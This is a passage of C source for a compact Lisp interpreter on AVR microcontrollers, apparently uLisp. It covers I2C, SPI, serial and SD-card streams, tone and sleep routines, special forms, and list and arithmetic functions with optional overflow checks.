TWSR_MTX_DATA_ACK;\n}\n\nbool I2Cstart(uint8_t address, uint8_t read) {\n uint8_t addressRW = address<<1 | read;\n TWCR = 1<<TWINT | 1<<TWSTA | 1<<TWEN; \/\/ send START condition\n while (!(TWCR & 1<<TWINT));\n if ((TWSR & 0xF8) != TWSR_START && (TWSR & 0xF8) != TWSR_REP_START) return false;\n TWDR = addressRW; \/\/ send device address and direction\n TWCR = 1<<TWINT | 1<<TWEN;\n while (!(TWCR & 1<<TWINT));\n if (addressRW & I2C_READ) return (TWSR & 0xF8) == TWSR_MRX_ADR_ACK;\n else return (TWSR & 0xF8) == TWSR_MTX_ADR_ACK;\n}\n\nbool I2Crestart(uint8_t address, uint8_t read) {\n return I2Cstart(address, read);\n}\n\nvoid I2Cstop(uint8_t read) {\n (void) read;\n TWCR = 1<<TWINT | 1<<TWEN | 1<<TWSTO;\n while (TWCR & 1<<TWSTO); \/\/ wait until stop and bus released\n}\n\n\/\/ Streams\n\ninline int spiread () { return SPI.transfer(0); }\n#if defined(__AVR_ATmega1284P__)\ninline int serial1read () { while (!Serial1.available()) testescape(); return Serial1.read(); }\n#elif defined(__AVR_ATmega2560__)\ninline int serial1read () { while (!Serial1.available()) testescape(); return Serial1.read(); }\ninline int serial2read () { while (!Serial2.available()) testescape(); return Serial2.read(); }\ninline int serial3read () { while (!Serial3.available()) testescape(); return Serial3.read(); }\n#endif\n#if defined(sdcardsupport)\nFile SDpfile, SDgfile;\ninline int SDread () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n return SDgfile.read();\n}\n#endif\n\nvoid serialbegin (int address, int baud) {\n #if defined(__AVR_ATmega328P__)\n (void) address; (void) baud;\n #elif defined(__AVR_ATmega1284P__)\n if (address == 1) Serial1.begin((long)baud*100);\n else error(PSTR(\"'with-serial' port not supported\"));\n #elif defined(__AVR_ATmega2560__)\n if (address == 1) Serial1.begin((long)baud*100);\n else if (address == 2) Serial2.begin((long)baud*100);\n else if (address == 3) Serial3.begin((long)baud*100);\n else error(PSTR(\"'with-serial' port not supported\"));\n #endif\n}\n\nvoid serialend (int address) {\n #if defined(__AVR_ATmega328P__)\n (void) address;\n #elif defined(__AVR_ATmega1284P__)\n if (address == 1) Serial1.end();\n #elif defined(__AVR_ATmega2560__)\n if (address == 1) Serial1.end();\n else if (address == 2) Serial2.end();\n else if (address == 3) Serial3.end();\n #endif\n}\n\ngfun_t gstreamfun (object *args) {\n int streamtype = SERIALSTREAM;\n int address = 0;\n gfun_t gfun = gserial;\n if (args != NULL) {\n int stream = istream(first(args));\n streamtype = stream>>8; address = stream & 0xFF;\n }\n if (streamtype == I2CSTREAM) gfun = (gfun_t)I2Cread;\n else if (streamtype == SPISTREAM) gfun = spiread;\n else if (streamtype == SERIALSTREAM) {\n if (address == 0) gfun = gserial;\n #if defined(__AVR_ATmega1284P__)\n else if (address == 1) gfun = serial1read;\n #elif defined(__AVR_ATmega2560__)\n else if (address == 1) gfun = serial1read;\n else if (address == 2) gfun = serial2read;\n else if (address == 3) gfun = serial3read;\n #endif\n }\n #if defined(sdcardsupport)\n else if (streamtype == SDSTREAM) gfun = (gfun_t)SDread;\n #endif\n else error(PSTR(\"Unknown stream type\"));\n return gfun;\n}\n\ninline void spiwrite (char c) { SPI.transfer(c); }\n#if defined(__AVR_ATmega1284P__)\ninline void serial1write (char c) { Serial1.write(c); }\n#elif defined(__AVR_ATmega2560__)\ninline void serial1write (char c) { Serial1.write(c); }\ninline void serial2write (char c) { Serial2.write(c); }\ninline void serial3write (char c) { Serial3.write(c); }\n#endif\n#if defined(sdcardsupport)\ninline void SDwrite (char c) { SDpfile.write(c); }\n#endif\n\npfun_t pstreamfun (object *args) {\n int streamtype = SERIALSTREAM;\n int address = 0;\n pfun_t pfun = pserial;\n if (args != NULL && first(args) != NULL) {\n int stream = istream(first(args));\n streamtype = stream>>8; address = stream & 0xFF;\n }\n if (streamtype == I2CSTREAM) pfun = (pfun_t)I2Cwrite;\n else if (streamtype == SPISTREAM) pfun = spiwrite;\n else if (streamtype == SERIALSTREAM) {\n if (address == 0) pfun = pserial;\n #if defined(__AVR_ATmega1284P__)\n else if (address == 1) pfun = serial1write;\n #elif defined(__AVR_ATmega2560__)\n else if (address == 1) pfun = serial1write;\n else if (address == 2) pfun = serial2write;\n else if (address == 3) pfun = serial3write;\n #endif\n }\n #if defined(sdcardsupport)\n else if (streamtype == SDSTREAM) pfun = (pfun_t)SDwrite;\n #endif\n else error(PSTR(\"unknown stream type\"));\n return pfun;\n}\n\n\/\/ Check pins\n\nvoid checkanalogread (int pin) {\n#if defined(__AVR_ATmega328P__)\n if (!(pin>=0 && pin<=5)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(__AVR_ATmega2560__)\n if (!(pin>=0 && pin<=15)) error(PSTR(\"'analogread' invalid pin\"));\n#elif defined(__AVR_ATmega1284P__)\n if (!(pin>=0 && pin<=7)) error(PSTR(\"'analogread' invalid pin\"));\n#endif\n}\n\nvoid checkanalogwrite (int pin) {\n#if defined(__AVR_ATmega328P__)\n if (!(pin>=3 && pin<=11 && pin!=4 && pin!=7 && pin!=8)) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(__AVR_ATmega2560__)\n if (!((pin>=2 && pin<=13) || (pin>=44 && pin <=46))) error(PSTR(\"'analogwrite' invalid pin\"));\n#elif defined(__AVR_ATmega1284P__)\n if (!(pin==3 || pin==4 || pin==6 || pin==7 || (pin>=12 && pin<=15))) error(PSTR(\"'analogwrite' invalid pin\"));\n#endif\n}\n\n\/\/ Note\n\nconst uint8_t scale[] PROGMEM = {239,226,213,201,190,179,169,160,151,142,134,127};\n\nvoid playnote (int pin, int note, int octave) {\n #if defined(__AVR_ATmega328P__)\n if (pin == 3) {\n DDRD = DDRD | 1<<DDD3; \/\/ PD3 (Arduino D3) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 11) {\n DDRB = DDRB | 1<<DDB3; \/\/ PB3 (Arduino D11) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(PSTR(\"'note' pin not supported\"));\n int prescaler = 9 - octave - note\/12;\n if (prescaler<3 || prescaler>6) error(PSTR(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]) - 1;\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n\n #elif defined(__AVR_ATmega2560__)\n if (pin == 9) {\n DDRH = DDRH | 1<<DDH6; \/\/ PH6 (Arduino D9) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 10) {\n DDRB = DDRB | 1<<DDB4; \/\/ PB4 (Arduino D10) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(PSTR(\"'note' pin not supported\"));\n int prescaler = 9 - octave - note\/12;\n if (prescaler<3 || prescaler>6) error(PSTR(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]) - 1;\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n\n #elif defined(__AVR_ATmega1284P__)\n if (pin == 14) {\n DDRD = DDRD | 1<<DDD6; \/\/ PD6 (Arduino D14) as output\n TCCR2A = 0<<COM2A0 | 1<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2B on match\n } else if (pin == 15) {\n DDRD = DDRD | 1<<DDD7; \/\/ PD7 (Arduino D15) as output\n TCCR2A = 1<<COM2A0 | 0<<COM2B0 | 2<<WGM20; \/\/ Toggle OC2A on match\n } else error(PSTR(\"'note' pin not supported\"));\n int prescaler = 9 - octave - note\/12;\n if (prescaler<3 || prescaler>6) error(PSTR(\"'note' octave out of range\"));\n OCR2A = pgm_read_byte(&scale[note%12]) - 1;\n TCCR2B = 0<<WGM22 | prescaler<<CS20;\n #endif\n}\n\nvoid nonote (int pin) {\n (void) pin;\n TCCR2B = 0<<WGM22 | 0<<CS20;\n}\n\n\/\/ Sleep\n\n\/\/ Interrupt vector for sleep watchdog\nISR(WDT_vect) {\n WDTCSR |= 1<<WDIE;\n}\n\nvoid initsleep () {\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n}\n\nvoid sleep (int secs) {\n \/\/ Set up Watchdog timer for 1 Hz interrupt\n WDTCSR = 1<<WDCE | 1<<WDE;\n WDTCSR = 1<<WDIE | 6<<WDP0; \/\/ 1 sec interrupt\n delay(100); \/\/ Give serial time to settle\n \/\/ Disable ADC and timer 0\n ADCSRA = ADCSRA & ~(1<<ADEN);\n#if defined(__AVR_ATmega328P__)\n PRR = PRR | 1<<PRTIM0;\n#elif defined(__AVR_ATmega2560__) || defined(__AVR_ATmega1284P__)\n PRR0 = PRR0 | 1<<PRTIM0;\n#endif\n while (secs > 0) {\n sleep_enable();\n sleep_cpu();\n secs--;\n }\n WDTCSR = 1<<WDCE | 1<<WDE; \/\/ Disable watchdog\n WDTCSR = 0;\n \/\/ Enable ADC and timer 0\n ADCSRA = ADCSRA | 1<<ADEN;\n#if defined(__AVR_ATmega328P__)\n PRR = PRR & ~(1<<PRTIM0);\n#elif defined(__AVR_ATmega2560__) || defined(__AVR_ATmega1284P__)\n PRR0 = PRR0 & ~(1<<PRTIM0);\n#endif\n}\n\n\/\/ Special forms\n\nobject *sp_quote (object *args, object *env) {\n (void) env;\n return first(args);\n}\n\nobject *sp_defun (object *args, object *env) {\n (void) env;\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, PSTR(\"is not a symbol\"));\n object *val = cons(symbol(LAMBDA), cdr(args));\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_defvar (object *args, object *env) {\n object *var = first(args);\n if (var->type != SYMBOL) error2(var, PSTR(\"is not a symbol\"));\n object *val = NULL;\n args = cdr(args);\n if (args != NULL) val = eval(first(args), env);\n object *pair = value(var->name,GlobalEnv);\n if (pair != NULL) { cdr(pair) = val; return var; }\n push(cons(var, val), GlobalEnv);\n return var;\n}\n\nobject *sp_setq (object *args, object *env) {\n object *arg = eval(second(args), env);\n object *pair = findvalue(first(args), env);\n cdr(pair) = arg;\n return arg;\n}\n\nobject *sp_loop (object *args, object *env) {\n clrflag(RETURNFLAG);\n object *start = args;\n for (;;) {\n args = start;\n while (args != NULL) {\n object *result = eval(car(args),env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n args = cdr(args);\n }\n }\n}\n\nobject *sp_push (object *args, object *env) {\n object *item = eval(first(args), env);\n object **loc = place(second(args), env);\n push(item, *loc);\n return *loc;\n}\n\nobject *sp_pop (object *args, object *env) {\n object **loc = place(first(args), env);\n object *result = car(*loc);\n pop(*loc);\n return result;\n}\n\n\/\/ Special forms incf\/decf\n\nobject *sp_incf (object *args, object *env) {\n object **loc = place(first(args), env);\n int increment = 1;\n int result = integer(*loc);\n args = cdr(args);\n if (args != NULL) increment = integer(eval(first(args), env));\n #if defined(checkoverflow)\n if (increment < 1) { if (INT_MIN - increment > result) error(PSTR(\"'incf' arithmetic overflow\")); }\n else { if (INT_MAX - increment < result) error(PSTR(\"'incf' arithmetic overflow\")); }\n #endif\n result = result + increment;\n *loc = number(result);\n return *loc;\n}\n\nobject *sp_decf (object *args, object *env) {\n object **loc = place(first(args), env);\n int decrement = 1;\n int result = integer(*loc);\n args = cdr(args);\n if (args != NULL) decrement = integer(eval(first(args), env));\n #if defined(checkoverflow)\n if (decrement < 1) { if (INT_MAX + decrement < result) error(PSTR(\"'decf' arithmetic overflow\")); }\n else { if (INT_MIN + decrement > result) error(PSTR(\"'decf' arithmetic overflow\")); }\n #endif\n result = result - decrement;\n *loc = number(result);\n return *loc;\n}\n\nobject *sp_setf (object *args, object *env) {\n object **loc = place(first(args), env);\n object *result = eval(second(args), env);\n *loc = result;\n return result;\n}\n\nobject *sp_dolist (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *result;\n object *list = eval(second(params), env);\n if (!listp(list)) error(PSTR(\"'dolist' argument is not a list\"));\n push(list, GCStack); \/\/ Don't GC the list\n object *pair = cons(var,nil);\n push(pair,env);\n params = cdr(cdr(params));\n object *forms = cdr(args);\n while (list != NULL) {\n cdr(pair) = first(list);\n list = cdr(list);\n result = eval(tf_progn(forms,env), env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n }\n cdr(pair) = nil;\n pop(GCStack);\n if (params == NULL) return nil;\n return eval(car(params), env);\n}\n\nobject *sp_dotimes (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n object *result;\n int count = integer(eval(second(params), env));\n int index = 0;\n params = cdr(cdr(params));\n object *pair = cons(var,number(0));\n push(pair,env);\n object *forms = cdr(args);\n while (index < count) {\n cdr(pair) = number(index);\n index++;\n result = eval(tf_progn(forms,env), env);\n if (tstflag(RETURNFLAG)) {\n clrflag(RETURNFLAG);\n return result;\n }\n }\n cdr(pair) = number(index);\n if (params == NULL) return nil;\n return eval(car(params), env);\n}\n\nobject *sp_trace (object *args, object *env) {\n (void) env;\n while (args != NULL) {\n trace(first(args)->name);\n args = cdr(args);\n }\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] != 0) args = cons(symbol(TraceFn[i]), args);\n i++;\n }\n return args;\n}\n\nobject *sp_untrace (object *args, object *env) {\n (void) env;\n if (args == NULL) {\n int i = 0;\n while (i < TRACEMAX) {\n if (TraceFn[i] != 0) args = cons(symbol(TraceFn[i]), args);\n TraceFn[i] = 0;\n i++;\n }\n } else {\n while (args != NULL) {\n untrace(first(args)->name);\n args = cdr(args);\n }\n }\n return args;\n}\n\nobject *sp_formillis (object *args, object *env) {\n object *param = first(args);\n unsigned long start = millis();\n unsigned long now, total = 0;\n if (param != NULL) total = integer(first(param));\n eval(tf_progn(cdr(args),env), env);\n do {\n now = millis() - start;\n testescape();\n } while (now < total);\n if (now <= INT_MAX) return number(now);\n return nil;\n}\n\nobject *sp_withserial (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int address = integer(eval(second(params), env));\n params = cddr(params);\n int baud = 96;\n if (params != NULL) baud = integer(eval(first(params), env));\n object *pair = cons(var, stream(SERIALSTREAM, address));\n push(pair,env);\n serialbegin(address, baud);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n serialend(address);\n return result;\n}\n\nobject *sp_withi2c (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int address = integer(eval(second(params), env));\n params = cddr(params);\n int read = 0; \/\/ Write\n I2CCount = 0;\n if (params != NULL) {\n object *rw = eval(first(params), env);\n if (integerp(rw)) I2CCount = integer(rw);\n read = (rw != NULL);\n }\n I2Cinit(1); \/\/ Pullups\n object *pair = cons(var, (I2Cstart(address, read)) ? stream(I2CSTREAM, address) : nil);\n push(pair,env);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n I2Cstop(read);\n return result;\n}\n\nobject *sp_withspi (object *args, object *env) {\n object *params = first(args);\n object *var = first(params);\n int pin = integer(eval(second(params), env));\n int divider = 0, mode = 0, bitorder = 1;\n object *pair = cons(var, stream(SPISTREAM, pin));\n push(pair,env);\n SPI.begin();\n params = cddr(params);\n if (params != NULL) {\n int d = integer(eval(first(params), env));\n if (d<1 || d>7) error(PSTR(\"'with-spi' invalid divider\"));\n if (d == 7) divider = 3;\n else if (d & 1) divider = (d>>1) + 4;\n else divider = (d>>1) - 1;\n params = cdr(params);\n if (params != NULL) {\n bitorder = (eval(first(params), env) == NULL);\n params = cdr(params);\n if (params != NULL) mode = integer(eval(first(params), env));\n }\n }\n pinMode(pin, OUTPUT);\n digitalWrite(pin, LOW);\n SPI.setBitOrder((BitOrder)bitorder);\n SPI.setClockDivider(divider);\n SPI.setDataMode(mode);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n digitalWrite(pin, HIGH);\n SPI.end();\n return result;\n}\n\nobject *sp_withsdcard (object *args, object *env) {\n#if defined(sdcardsupport)\n object *params = first(args);\n object *var = first(params);\n object *filename = eval(second(params), env);\n params = cddr(params);\n SD.begin(SDCARD_SS_PIN);\n int mode = 0;\n if (params != NULL && first(params) != NULL) mode = integer(first(params));\n int oflag = O_READ;\n if (mode == 1) oflag = O_RDWR | O_CREAT | O_APPEND; else if (mode == 2) oflag = O_RDWR | O_CREAT | O_TRUNC;\n if (mode >= 1) {\n SDpfile = SD.open(MakeFilename(filename), oflag);\n if (!SDpfile) error(PSTR(\"Problem writing to SD card\"));\n } else {\n SDgfile = SD.open(MakeFilename(filename), oflag);\n if (!SDgfile) error(PSTR(\"Problem reading from SD card\"));\n }\n object *pair = cons(var, stream(SDSTREAM, 1));\n push(pair,env);\n object *forms = cdr(args);\n object *result = eval(tf_progn(forms,env), env);\n if (mode >= 1) SDpfile.close(); else SDgfile.close();\n return result;\n#else\n (void) args, (void) env;\n error(PSTR(\"with-sd-card not supported\"));\n return nil;\n#endif\n}\n\n\/\/ Tail-recursive forms\n\nobject *tf_progn (object *args, object *env) {\n if (args == NULL) return nil;\n object *more = cdr(args);\n while (more != NULL) {\n object *result = eval(car(args),env);\n if (tstflag(RETURNFLAG)) return result;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_return (object *args, object *env) {\n setflag(RETURNFLAG);\n return tf_progn(args, env);\n}\n\nobject *tf_if (object *args, object *env) {\n if (eval(first(args), env) != nil) return second(args);\n args = cddr(args);\n return (args != NULL) ? first(args) : nil;\n}\n\nobject *tf_cond (object *args, object *env) {\n while (args != NULL) {\n object *clause = first(args);\n object *test = eval(first(clause), env);\n object *forms = cdr(clause);\n if (test != nil) {\n if (forms == NULL) return test; else return tf_progn(forms, env);\n }\n args = cdr(args);\n }\n return nil;\n}\n\nobject *tf_when (object *args, object *env) {\n if (eval(first(args), env) != nil) return tf_progn(cdr(args),env);\n else return nil;\n}\n\nobject *tf_unless (object *args, object *env) {\n if (eval(first(args), env) != nil) return nil;\n else return tf_progn(cdr(args),env);\n}\n\nobject *tf_and (object *args, object *env) {\n if (args == NULL) return tee;\n object *more = cdr(args);\n while (more != NULL) {\n if (eval(car(args), env) == NULL) return nil;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\nobject *tf_or (object *args, object *env) {\n object *more = cdr(args);\n while (more != NULL) {\n object *result = eval(car(args), env);\n if (result != NULL) return result;\n args = more;\n more = cdr(args);\n }\n return car(args);\n}\n\n\/\/ Core functions\n\nobject *fn_not (object *args, object *env) {\n (void) env;\n return (first(args) == nil) ? tee : nil;\n}\n\nobject *fn_cons (object *args, object *env) {\n (void) env;\n return cons(first(args),second(args));\n}\n\nobject *fn_atom (object *args, object *env) {\n (void) env;\n return atom(first(args)) ? tee : nil;\n}\n\nobject *fn_listp (object *args, object *env) {\n (void) env;\n return listp(first(args)) ? tee : nil;\n}\n\nobject *fn_consp (object *args, object *env) {\n (void) env;\n return consp(first(args)) ? tee : nil;\n}\n\nobject *fn_symbolp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n return symbolp(arg) ? tee : nil;\n}\n\nobject *fn_streamp (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n return streamp(arg) ? tee : nil;\n}\n\nobject *fn_eq (object *args, object *env) {\n (void) env;\n return eq(first(args), second(args)) ? tee : nil;\n}\n\n\/\/ List functions\n\nobject *fn_car (object *args, object *env) {\n (void) env;\n return carx(first(args));\n}\n\nobject *fn_cdr (object *args, object *env) {\n (void) env;\n return cdrx(first(args));\n}\n\nobject *fn_caar (object *args, object *env) {\n (void) env;\n return carx(carx(first(args)));\n}\n\nobject *fn_cadr (object *args, object *env) {\n (void) env;\n return carx(cdrx(first(args)));\n}\n\nobject *fn_cdar (object *args, object *env) {\n (void) env;\n return cdrx(carx(first(args)));\n}\n\nobject *fn_cddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(first(args)));\n}\n\nobject *fn_caaar (object *args, object *env) {\n (void) env;\n return carx(carx(carx(first(args))));\n}\n\nobject *fn_caadr (object *args, object *env) {\n (void) env;\n return carx(carx(cdrx(first(args))));\n}\n\nobject *fn_cadar (object *args, object *env) {\n (void) env;\n return carx(cdrx(carx(first(args))));\n}\n\nobject *fn_caddr (object *args, object *env) {\n (void) env;\n return carx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_cdaar (object *args, object *env) {\n (void) env;\n return cdrx(carx(carx(first(args))));\n}\n\nobject *fn_cdadr (object *args, object *env) {\n (void) env;\n return cdrx(carx(cdrx(first(args))));\n}\n\nobject *fn_cddar (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(carx(first(args))));\n}\n\nobject *fn_cdddr (object *args, object *env) {\n (void) env;\n return cdrx(cdrx(cdrx(first(args))));\n}\n\nobject *fn_length (object *args, object *env) {\n (void) env;\n object *arg = first(args);\n if (listp(arg)) return number(listlength(arg));\n if (!stringp(arg)) error(PSTR(\"'length' argument is not a list or string\"));\n return number(stringlength(arg));\n}\n\nobject *fn_list (object *args, object *env) {\n (void) env;\n return args;\n}\n\nobject *fn_reverse (object *args, object *env) {\n (void) env;\n object *list = first(args);\n if (!listp(list)) error(PSTR(\"'reverse' argument is not a list\"));\n object *result = NULL;\n while (list != NULL) {\n push(first(list),result);\n list = cdr(list);\n }\n return result;\n}\n\nobject *fn_nth (object *args, object *env) {\n (void) env;\n int n = integer(first(args));\n object *list = second(args);\n if (!listp(list)) error(PSTR(\"'nth' second argument is not a list\"));\n while (list != NULL) {\n if (n == 0) return car(list);\n list = cdr(list);\n n--;\n }\n return nil;\n}\n\nobject *fn_assoc (object *args, object *env) {\n (void) env;\n object *key = first(args);\n object *list = second(args);\n if (!listp(list)) error(PSTR(\"'assoc' second argument is not a list\"));\n return assoc(key,list);\n}\n\nobject *fn_member (object *args, object *env) {\n (void) env;\n object *item = first(args);\n object *list = second(args);\n if (!listp(list)) error(PSTR(\"'member' second argument is not a list\"));\n while (list != NULL) {\n if (eq(item,car(list))) return list;\n list = cdr(list);\n }\n return nil;\n}\n\nobject *fn_apply (object *args, object *env) {\n object *previous = NULL;\n object *last = args;\n while (cdr(last) != NULL) {\n previous = last;\n last = cdr(last);\n }\n if (!listp(car(last))) error(PSTR(\"'apply' last argument is not a list\"));\n cdr(previous) = car(last);\n return apply(first(args), cdr(args), &env);\n}\n\nobject *fn_funcall (object *args, object *env) {\n return apply(first(args), cdr(args), &env);\n}\n\nobject *fn_append (object *args, object *env) {\n (void) env;\n object *head = NULL;\n object *tail = NULL;\n while (args != NULL) {\n object *list = first(args);\n if (!listp(list)) error(PSTR(\"'append' argument is not a list\"));\n while (list != NULL) {\n object *obj = cons(first(list),NULL);\n if (head == NULL) {\n head = obj;\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list = cdr(list);\n }\n args = cdr(args);\n }\n return head;\n}\n\nobject *fn_mapc (object *args, object *env) {\n object *function = first(args);\n object *list1 = second(args);\n object *result = list1;\n if (!listp(list1)) error(PSTR(\"'mapc' second argument is not a list\"));\n object *list2 = cddr(args);\n if (list2 != NULL) {\n list2 = car(list2);\n if (!listp(list2)) error(PSTR(\"'mapc' third argument is not a list\"));\n while (list1 != NULL && list2 != NULL) {\n apply(function, cons(car(list1),cons(car(list2),NULL)), &env);\n list1 = cdr(list1);\n list2 = cdr(list2);\n }\n } else {\n while (list1 != NULL) {\n apply(function, cons(car(list1),NULL), &env);\n list1 = cdr(list1);\n }\n }\n return result;\n}\n\nobject *fn_mapcar (object *args, object *env) {\n object *function = first(args);\n object *list1 = second(args);\n if (!listp(list1)) error(PSTR(\"'mapcar' second argument is not a list\"));\n object *list2 = cddr(args);\n if (list2 != NULL) {\n list2 = car(list2);\n if (!listp(list2)) error(PSTR(\"'mapcar' third argument is not a list\"));\n }\n object *head = NULL;\n object *tail = NULL;\n if (list2 != NULL) {\n while (list1 != NULL && list2 != NULL) {\n object *result = apply(function, cons(car(list1),cons(car(list2),NULL)), &env);\n object *obj = cons(result,NULL);\n if (head == NULL) {\n head = obj;\n push(head,GCStack);\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list1 = cdr(list1);\n list2 = cdr(list2);\n }\n pop(GCStack);\n } else if (list1 != NULL) {\n while (list1 != NULL) {\n object *result = apply(function, cons(car(list1),NULL), &env);\n object *obj = cons(result,NULL);\n if (head == NULL) {\n head = obj;\n push(head,GCStack);\n tail = obj;\n } else {\n cdr(tail) = obj;\n tail = obj;\n }\n list1 = cdr(list1);\n }\n pop(GCStack);\n }\n return head;\n}\n\n\/\/ Arithmetic functions\n\nobject *fn_add (object *args, object *env) {\n (void) env;\n int result = 0;\n while (args != NULL) {\n int temp = integer(car(args));\n #if defined(checkoverflow)\n if (temp < 1) { if (INT_MIN - temp > result) error(PSTR(\"'+' arithmetic overflow\")); }\n else { if (INT_MAX - temp < result) error(PSTR(\"'+' arithmetic overflow\")); }\n #endif\n result = result + temp;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_subtract (object *args, object *env) {\n (void) env;\n int result = integer(car(args));\n args = cdr(args);\n if (args == NULL) {\n #if defined(checkoverflow)\n if (result == INT_MIN) error(PSTR(\"'-' arithmetic overflow\"));\n #endif\n return number(-result);\n }\n while (args != NULL) {\n int temp = integer(car(args));\n #if defined(checkoverflow)\n if (temp < 1) { if (INT_MAX + temp < result) error(PSTR(\"'-' arithmetic overflow\")); }\n else { if (INT_MIN + temp > result) error(PSTR(\"'-' arithmetic overflow\")); }\n #endif\n result = result - temp;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_multiply (object *args, object *env) {\n (void) env;\n int result = 1;\n while (args != NULL){\n #if defined(checkoverflow)\n signed long temp = (signed long) result * integer(car(args));\n if ((temp > INT_MAX) || (temp < INT_MIN)) error(PSTR(\"'*' arithmetic overflow\"));\n result = temp;\n #else\n result = result * integer(car(args));\n #endif\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_divide (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg = integer(car(args));\n if (arg == 0) error(PSTR(\"Division by zero\"));\n #if defined(checkoverflow)\n if ((result == INT_MIN) && (arg == -1)) error(PSTR(\"'\/' arithmetic overflow\"));\n #endif\n result = result \/ arg;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_mod (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n int arg2 = integer(second(args));\n if (arg2 == 0) error(PSTR(\"Division by zero\"));\n int r = arg1 % arg2;\n if ((arg1<0) != (arg2<0)) r = r + arg2;\n return number(r);\n}\n\nobject *fn_oneplus (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == INT_MAX) error(PSTR(\"'1+' arithmetic overflow\"));\n #endif\n return number(result + 1);\n}\n\nobject *fn_oneminus (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == INT_MIN) error(PSTR(\"'1-' arithmetic overflow\"));\n #endif\n return number(result - 1);\n}\n\nobject *fn_abs (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n #if defined(checkoverflow)\n if (result == INT_MIN) error(PSTR(\"'abs' arithmetic overflow\"));\n #endif\n return number(abs(result));\n}\n\nobject *fn_random (object *args, object *env) {\n (void) env;\n int arg = integer(first(args));\n return number(random(arg));\n}\n\nobject *fn_maxfn (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int next = integer(car(args));\n if (next > result) result = next;\n args = cdr(args);\n }\n return number(result);\n}\n\nobject *fn_minfn (object *args, object *env) {\n (void) env;\n int result = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int next = integer(car(args));\n if (next < result) result = next;\n args = cdr(args);\n }\n return number(result);\n}\n\n\/\/ Arithmetic comparisons\n\nobject *fn_noteq (object *args, object *env) {\n (void) env;\n while (args != NULL) { \n object *nargs = args;\n int arg1 = integer(first(nargs));\n nargs = cdr(nargs);\n while (nargs != NULL) {\n int arg2 = integer(first(nargs));\n if (arg1 == arg2) return nil;\n nargs = cdr(nargs);\n }\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_numeq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 == arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_less (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 < arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_lesseq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 <= arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greater (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 > arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_greatereq (object *args, object *env) {\n (void) env;\n int arg1 = integer(first(args));\n args = cdr(args);\n while (args != NULL) {\n int arg2 = integer(first(args));\n if (!(arg1 >= arg2)) return nil;\n arg1 = arg2;\n args = cdr(args);\n }\n return tee;\n}\n\nobject *fn_plusp (object 